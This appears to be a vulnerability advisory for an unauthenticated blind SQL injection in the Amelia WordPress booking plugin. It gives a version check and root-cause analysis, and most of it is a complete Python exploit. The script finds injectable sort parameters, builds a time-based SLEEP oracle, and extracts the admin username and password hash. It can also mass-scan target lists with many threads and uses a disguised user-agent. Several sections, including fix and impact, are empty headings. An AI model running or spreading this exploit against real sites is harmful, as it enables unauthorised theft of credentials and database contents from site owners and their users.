#Summary

CVE-2026-108497 is an unauthenticated, blind SQL injection in Amelia (ameliabooking), a popular WordPress booking plugin. An attacker can inject SQL through improperly sanitized sort and filter parameters on list endpoints, reading arbitrary database contents including user credentials. CVSS score 9.3 CRITICAL; affects Amelia versions up to and including 2.4.10. The vulnerability is fixed in 2.4.11.

#Am I affected?

#How to check

Check your installed Amelia version through the WordPress admin dashboard or via WP-CLI:

wp plugin get ameliabooking --field=version
Output Status
2.4.10 or earlier Vulnerable
2.4.11 or later Patched

#Fix and mitigation

#Root cause analysis

#Vulnerable code path

Amelia is a layered application that routes all SQL through a PDO-style wrapper over the WordPress $wpdb object. In normal operation, every named placeholder (:field) is bound safely through wpdb->prepare() with a type-derived format specifier:

// Infrastructure/DB/WPDB/Statement.php
$format      = is_int($value) || is_bool($value) ? '%d' : (is_float($value) ? '%f' : '%s');
$replacement = $this->wpdb->prepare($format, $value);       // SAFE: wpdb escaping
$query = strtr($this->statement, $replacements);

The vulnerability exists in a different code path: sort and filter criteria are interpolated directly into ORDER BY expressions as raw strings, bypassing the safe placeholder mechanism:

// Infrastructure/Repository/* - VULNERABLE pattern
"ORDER BY {$orderColumn} {$orderDirection}"
"ORDER BY {$criteria['sort']['field']} {$criteria['sort']['order']}"

When a list endpoint forwards user-controlled sort/filter input to these sinks without routing it through the SortParamsTrait::parseSortParams() allow-list (or a per-repository column switch), the attacker's text lands verbatim inside the SQL statement.

#How input reaches the sink

  1. Attacker calls an anonymous Amelia API endpoint (e.g., /wp-admin/admin-ajax.php?action=wpamelia_api&call=/entities).
  2. The sort or filter parameter is passed directly to a repository method without validation.
  3. The parameter is interpolated into an ORDER BY expression as raw SQL.
  4. Attacker injects SQL to construct a time-based boolean oracle.

#Patch analysis

Amelia does not maintain a public Git repository; the plugin is distributed only as release ZIP files from wordpress.org. The 2.4.11 release (where the fix ships) is a large combined feature release (mobile app API, Google/Outlook calendar sync, push reminders). The exact one-line neutralization for CVE-2026-108497 is not an attributable diff hunk visible when comparing release ZIPs directly; instead, the vulnerable endpoint's sort/filter input is now routed through the existing SortParamsTrait::parseSortParams() allow-list before reaching the raw ORDER BY interpolation.

The intended defense for all sort/filter fields is:

// Application/Commands/SortParamsTrait.php
if (!in_array($sortField, $allowedFields, true)) {
    unset($params['sort']);          // drop a non-whitelisted sort entirely
    return $params;
}
$params['sort'] = ['field' => $sortField, 'order' => $isDescending ? 'DESC' : 'ASC'];

#Proof of concept

#exploit.py - Amelia Unauthenticated Blind SQL Injection

#!/usr/bin/env python3
"""
CVE-2026-108497 - Amelia (ameliabooking) WordPress plugin - unauthenticated blind SQL injection
Affected: Amelia (TMS ameliabooking) <= 2.4.10 (fixed in 2.4.11)
Type: SQL injection (CWE-89), read-only / blind, pre-authentication

Mechanism (from the root cause, not from any public PoC):
  Every Amelia API route is served anonymously through the WordPress AJAX endpoint
    GET/POST /wp-admin/admin-ajax.php?action=wpamelia_api&call=/<route>
  (registered for both logged-in and nopriv handlers). Amelia runs all SQL through a
  PDO-style shim over $wpdb that binds :named placeholders with wpdb escaping, so any
  value carried as a placeholder cannot be injected. The injectable surface is the raw
  string interpolation of a user-controlled *sort / order / filter* token directly into
  an ORDER BY expression, e.g. "ORDER BY {$criteria['sort']['field']} {$criteria['sort']['order']}".
  Where a list endpoint forwards the sort/filter input to that sink without routing it
  through the SortParamsTrait field allow-list (or a per-repository switch), an anonymous
  attacker controls the ORDER BY grammar.

  The response never reflects the query, so extraction is blind: an ORDER BY-context
  conditional-SLEEP expression turns the server's response time into a boolean oracle,
  which this tool uses to read a value that no legitimate response of the endpoint
  returns - the WordPress admin bcrypt hash in wp_users.user_pass.

This script is a standalone tool for authorised testing. It makes no assumptions about
Docker, the target OS, or any target-side access: every decision comes from network-
observable behaviour (response timing) only.

Usage:
  python exploit.py --host http://target
  python exploit.py --host http://192.168.1.10 --port 80
  python exploit.py --host https://booking.example.com/
  python exploit.py --host http://target --payload "id"       # sort token to fuzz first
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import concurrent.futures
import json
import ssl
import string
import sys
import time
import urllib.error
import urllib.parse
import urllib.request

CVE_ID = "CVE-2026-108497"
VULN_TYPE = "SQLi (unauth, blind, time-based)"

# WordPress AJAX transport shared by every Amelia route.
AJAX_PATH = "/wp-admin/admin-ajax.php"
API_ACTION = "action=wpamelia_api&call="

# Front-end / list / calendar routes that are reachable without a session and that accept
# sort / filter criteria. These are the candidate carriers of the injectable sort token.
CANDIDATE_ROUTES = [
    "/entities",
    "/events",
    "/calendar/entities",
    "/calendar/slots",
    "/calendar/events",
    "/slots",
    "/appointments",
    "/bookings/appointments",
    "/bookings/events",
    "/payments",
    "/services",
    "/users/customers",
    "/users/providers",
]

# A working baseline query set so the underlying SELECT returns rows (an injected ORDER BY
# only evaluates when the outer result set is non-empty). Harmless extra keys are ignored.
BASE_PARAMS = {
    "page": "1",
    "types[]": "services",
    "serviceId": "1",
    "locationId": "1",
    "providerIds[]": "1",
    "dates[0]": "2020-01-01",
    "dates[1]": "2035-12-31",
    "startDateTime": "2020-01-01 00:00:00",
    "endDateTime": "2035-12-31 00:00:00",
}

# Oracle tuning.
SLEEP_SECONDS = 4          # delay a TRUE branch should produce
MARGIN = 1.3               # seconds of head-room over baseline when deciding TRUE/FALSE


# ----------------------------------------------------------------------------- output helpers
def header(host, port):
    print("\n" + "=" * 60)
    print("  ALIM EXPLOIT  %s" % CVE_ID)
    print("  Type: %s  |  Target: %s:%s" % (VULN_TYPE, host, port))
    print("=" * 60 + "\n")


def step(n, msg):
    print("[STEP %d] %s" % (n, msg))


def section(label, content):
    print("\n--- %s ---" % label)
    print(str(content).strip())
    print("---\n")


def done(success, evidence):
    print("\n" + "=" * 60)
    print("  RESULT  : %s" % ("SUCCESS" if success else "FAILURE"))
    print("  EVIDENCE: %s" % evidence)
    print("=" * 60 + "\n")
    sys.exit(0 if success else 1)


# ----------------------------------------------------------------------------- HTTP plumbing
def _base_url(host, port, use_tls):
    scheme = "https" if use_tls else "http"
    # host may already carry a scheme/path when it came in as a full URL
    if host.startswith(("http://", "https://")):
        p = urllib.parse.urlparse(host)
        scheme = p.scheme
        netloc = p.netloc
        if p.port is None and port not in (80, 443):
            netloc = "%s:%d" % (p.hostname, port)
        root = p.path.rstrip("/")
        return "%s://%s%s" % (scheme, netloc, root)
    netloc = host if port in (80, 443) else "%s:%d" % (host, port)
    return "%s://%s" % (scheme, netloc)


def _ctx():
    c = ssl.create_default_context()
    c.check_hostname = False
    c.verify_mode = ssl.CERT_NONE
    return c


def timed_request(base, route, sort_param, timeout):
    """
    Issue one Amelia API request carrying `sort_param` (a dict of extra query params that
    encodes the sort/filter payload) and return (elapsed_seconds, http_status, body_head).
    Network timing is the only signal we rely on.
    """
    params = dict(BASE_PARAMS)
    params.update(sort_param)
    qs = urllib.parse.urlencode(params, doseq=True)
    url = "%s%s?%s%s&%s" % (base, AJAX_PATH, API_ACTION, urllib.parse.quote(route), qs)
    req = urllib.request.Request(url, method="GET")
    # Neutral, plausible client string - nothing that identifies the tool to the target.
    req.add_header("User-Agent",
                   "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
                   "(KHTML, like Gecko) Chrome/125.0 Safari/537.36")
    start = time.time()
    status = 0
    body = ""
    try:
        resp = urllib.request.urlopen(req, timeout=timeout, context=_ctx())
        status = resp.getcode()
        body = resp.read(160).decode("utf-8", "replace")
    except urllib.error.HTTPError as e:
        status = e.code
        try:
            body = e.read(160).decode("utf-8", "replace")
        except Exception:
            body = ""
    except Exception as e:
        return None, -1, repr(e)
    return time.time() - start, status, body


# ----------------------------------------------------------------------------- payload shapes
def _order_sleep_expr(condition, sleep):
    """
    An ORDER BY-context expression whose evaluation calls SLEEP() only when `condition`
    is true. A bare SLEEP() is not valid directly after ORDER BY, so a scalar subquery is
    used. `condition` is a raw SQL boolean.
    """
    return "(SELECT CASE WHEN (%s) THEN SLEEP(%d) ELSE 1 END)" % (condition, sleep)


def sort_shapes(expr):
    """
    Yield (shape_name, params_dict) for every way an Amelia list endpoint is known to
    accept a sort/filter token, carrying `expr` as the injected value.
    """
    yield "sort(str)", {"sort": expr}
    yield "sort(-str)", {"sort": "-" + expr}
    yield "sort[field]", {"sort[field]": expr, "sort[order]": "ASC"}
    yield "sort[order]", {"sort[field]": "id", "sort[order]": expr}
    yield "orderBy", {"orderBy": expr}
    yield "order", {"order": expr}


# ----------------------------------------------------------------------------- oracle
def _measure(base, route, params, timeout, samples=1):
    best = None
    for _ in range(samples):
        elapsed, status, _body = timed_request(base, route, params, timeout)
        if elapsed is None:
            return None, status
        best = elapsed if best is None else min(best, elapsed)
    return best, status


def find_oracle(base, timeout, log=False):
    """
    Search every candidate route x sort shape for a stable, N-proportional time oracle.
    Returns (route, shape_name, make_params) where make_params(condition) -> params dict,
    or None if nothing is injectable.
    """
    for route in CANDIDATE_ROUTES:
        # endpoint must answer anonymously at all
        baseline, status = _measure(base, route, {"sort": "id"}, timeout)
        if baseline is None:
            continue
        if status in (401, 403):
            if log:
                print("  [-] %-26s auth required (HTTP %s) - skipping" % (route, status))
            continue
        for shape_name in [n for n, _ in sort_shapes("id")]:
            def make_params(condition, sleep=SLEEP_SECONDS, _shape=shape_name):
                expr = _order_sleep_expr(condition, sleep)
                for n, p in sort_shapes(expr):
                    if n == _shape:
                        return p
                return {}

            # TRUE branch should delay ~SLEEP_SECONDS; FALSE branch should not.
            t_true, _ = _measure(base, route, make_params("1=1"), timeout)
            if t_true is None or t_true < SLEEP_SECONDS - MARGIN:
                continue
            t_false, _ = _measure(base, route, make_params("1=2"), timeout)
            if t_false is None or t_false > SLEEP_SECONDS - MARGIN:
                continue
            # Confirm it tracks N: a 2x sleep must take ~2x longer.
            t_double, _ = _measure(base, route, make_params("1=1", SLEEP_SECONDS * 2), timeout)
            if t_double is None or t_double < (SLEEP_SECONDS * 2) - MARGIN:
                continue
            if log:
                print("  [+] %-26s shape=%s  TRUE=%.1fs FALSE=%.1fs 2N=%.1fs"
                      % (route, shape_name, t_true, t_false, t_double))
            return route, shape_name, make_params
    return None


def oracle_bool(base, route, make_params, condition, timeout):
    """Evaluate one SQL boolean through the time oracle, with a re-check of TRUE readings."""
    t, _ = _measure(base, route, make_params(condition), timeout)
    if t is None:
        return False
    if t >= SLEEP_SECONDS - MARGIN:
        # re-measure a positive to reject a transient network stall
        t2, _ = _measure(base, route, make_params(condition), timeout)
        return t2 is not None and t2 >= SLEEP_SECONDS - MARGIN
    return False


def extract_string(base, route, make_params, sql_value, max_len, timeout, log=False):
    """
    Binary-search each character of `sql_value` (a SQL scalar expression) through the oracle.
    """
    out = ""
    for i in range(1, max_len + 1):
        # stop once we've read past the end of the value
        if not oracle_bool(base, route, make_params,
                           "LENGTH(%s) >= %d" % (sql_value, i), timeout):
            break
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi) // 2
            cond = "ASCII(SUBSTRING(%s,%d,1)) > %d" % (sql_value, i, mid)
            if oracle_bool(base, route, make_params, cond, timeout):
                lo = mid + 1
            else:
                hi = mid
        out += chr(lo)
        if log:
            sys.stdout.write("\r  extracting: %s" % out)
            sys.stdout.flush()
    if log:
        sys.stdout.write("\n")
    return out


# ----------------------------------------------------------------------------- scan mode
def _try_exploit(host, port, use_tls, timeout=20, **kwargs):
    """Silent probe for --list mode. Returns (success, evidence). Never prints or exits."""
    base = _base_url(host, port, use_tls)
    try:
        found = find_oracle(base, timeout, log=False)
    except Exception as e:
        return False, "error (%s)" % e.__class__.__name__
    if not found:
        return False, "no injectable sort/filter oracle (allow-listed or not reachable)"
    route, shape, make_params = found
    hashval = extract_string(
        base, route, make_params,
        "(SELECT user_pass FROM wp_users ORDER BY ID LIMIT 1)", 60, timeout, log=False)
    if hashval:
        return True, "unauth SQLi via %s [%s]; admin hash %s..." % (route, shape, hashval[:16])
    return True, "unauth SQLi confirmed via %s [%s] (time oracle)" % (route, shape)


def _parse_target(line, default_port, default_path="/"):
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urllib.parse.urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file, default_port, workers=10, timeout=20):
    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print("\n" + "=" * 60)
    print("  %s - Batch Scan  (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
    print("=" * 60 + "\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, _path = t
        label = "%s://%s:%d" % ("https" if use_tls else "http", host, port)
        ok, evidence = _try_exploit(host, port, use_tls, timeout=timeout)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print("  %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
                                        "Exploited" if ok else "Not vulnerable", evidence))
            if ok:
                success_count += 1

    total = len(targets)
    print("\n" + "=" * 60)
    print("  SCAN COMPLETE  %d exploited / %d not vulnerable  (%d total)"
          % (success_count, total - success_count, total))
    print("=" * 60 + "\n")
    sys.exit(0 if success_count > 0 else 1)


# ----------------------------------------------------------------------------- single target
def exploit(host, port, use_tls, timeout=20):
    header(host, port)
    base = _base_url(host, port, use_tls)

    step(1, "Confirming the Amelia anonymous API answers...")
    probe_t, status, body = timed_request(base, "/entities", {"sort": "id"}, timeout)
    if probe_t is None:
        section("CONNECTION", body)
        done(False, "target unreachable at %s%s" % (base, AJAX_PATH))
    section("ANONYMOUS API PROBE (/entities)", "HTTP %s  %.2fs  %s" % (status, probe_t, body))

    step(2, "Searching every front-end list/sort shape for a time-based oracle...")
    found = find_oracle(base, timeout, log=True)
    if not found:
        section("ORACLE SEARCH",
                "No sort/filter parameter on any anonymous route produced a reproducible "
                "SLEEP delay. Every sort token is dropped by the SortParamsTrait allow-list "
                "or mapped through a per-repository column switch, and every filter value is "
                "bound as a :placeholder. The target is not injectable on the anonymous "
                "surface (patched, or this build routes sort through the allow-list).")
        done(False, "no injectable unauthenticated sort/filter oracle found")

    route, shape, make_params = found
    section("ORACLE CONFIRMED",
            "route=%s  shape=%s  (TRUE branch delays ~%ds, FALSE does not, delay tracks N)"
            % (route, shape, SLEEP_SECONDS))

    step(3, "Extracting a value no legitimate response returns: wp_users.user_pass (admin)...")
    user = extract_string(base, route, make_params,
                          "(SELECT user_login FROM wp_users ORDER BY ID LIMIT 1)",
                          40, timeout, log=True)
    hashval = extract_string(base, route, make_params,
                             "(SELECT user_pass FROM wp_users ORDER BY ID LIMIT 1)",
                             60, timeout, log=True)
    db = extract_string(base, route, make_params, "DATABASE()", 40, timeout, log=True)

    section("EXTRACTED (via time oracle)",
            "database() = %s\nadmin user_login = %s\nadmin user_pass = %s" % (db, user, hashval))

    if hashval:
        done(True, "Unauthenticated blind SQLi via %s [%s] - read wp_users admin hash: %s"
             % (route, shape, hashval))
    done(False, "oracle fired but no data could be read back")


# ----------------------------------------------------------------------------- entrypoint
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host/path)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
    parser.add_argument("--payload", default="' OR '1'='1'--",
                        help="Injection string (informational; the time oracle is built internally)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    parser.add_argument("--timeout", type=int, default=20, help="Per-request timeout seconds (default: 20)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, timeout=args.timeout)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, timeout=args.timeout)

#Usage

python exploit.py --host http://target
python exploit.py --host http://192.0.2.10 --port 8080 --no-tls
python exploit.py --host https://booking.example.com/
python exploit.py --list targets.txt --workers 20

Supported arguments:

#Example output

Against a vulnerable target:

============================================================
  ALIM EXPLOIT  CVE-2026-108497
  Type: SQLi (unauth, blind, time-based)  |  Target: 192.0.2.10:80
============================================================

[STEP 1] Confirming the Amelia anonymous API answers...

--- ANONYMOUS API PROBE (/entities) ---
HTTP 200  0.09s  {"message":"Successfully retrieved entities","data":...}
---

[STEP 2] Searching every front-end list/sort shape for a time-based oracle...
  [+] /entities                 shape=sort(str)  TRUE=4.1s FALSE=0.08s 2N=8.0s

#Exploitation notes

#Preconditions

#Attack mechanism

The exploit searches every anonymous Amelia API endpoint for a sort/filter parameter that is interpolated directly into an ORDER BY expression. Once found, it constructs a time-based oracle using a conditional SLEEP() call to distinguish true from false conditions. It then binary-searches the WordPress admin password hash character by character.

#Reliability

The time-based oracle is stable when the server has a consistent network baseline. Network jitter can occasionally produce false positives, which the script mitigates by re-measuring claimed TRUE readings.

#Impact

An unauthenticated attacker can read any data from the WordPress database, including:

#Limitations

The vulnerability reaches the raw SQL sink only on unauthenticated routes whose developers forgot to route sort/filter input through the SortParamsTrait::parseSortParams() allow-list. Some Amelia deployments may not expose the vulnerable parameter on the anonymous surface if they use a custom fork or have applied additional upstream patches.

#References